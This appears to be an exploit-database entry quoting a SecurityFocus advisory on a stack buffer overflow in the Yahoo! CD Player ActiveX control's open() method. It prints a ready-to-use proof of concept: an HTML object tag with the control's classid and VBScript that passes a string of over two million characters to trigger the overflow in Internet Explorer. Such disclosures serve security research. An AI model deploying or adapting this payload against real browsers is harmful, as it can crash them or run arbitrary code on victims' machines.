Yahoo! CD Player – ActiveX Control ‘open()’ Method Stack Buffer Overflow
source: https://www.securityfocus.com/bid/51011/info The Yahoo! CD Player ActiveX control ('YoPlyCd.dll') is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds check user-supplied input. Attackers can exploit this issue to execute arbitrary code within the context of an application (typically Internet Explorer) that uses the ActiveX control. Failed exploit attempts will result in a denial-of-service condition. <object classid='clsid:5622772D-6C27-11D3-95E5-006008D14F3B' id='test'></object> <script language='vbscript'> buff = String(2097512, "A") '<- EAX changes according to the first parameter of ' "String" function (Number As Long) test.open buff </script> |
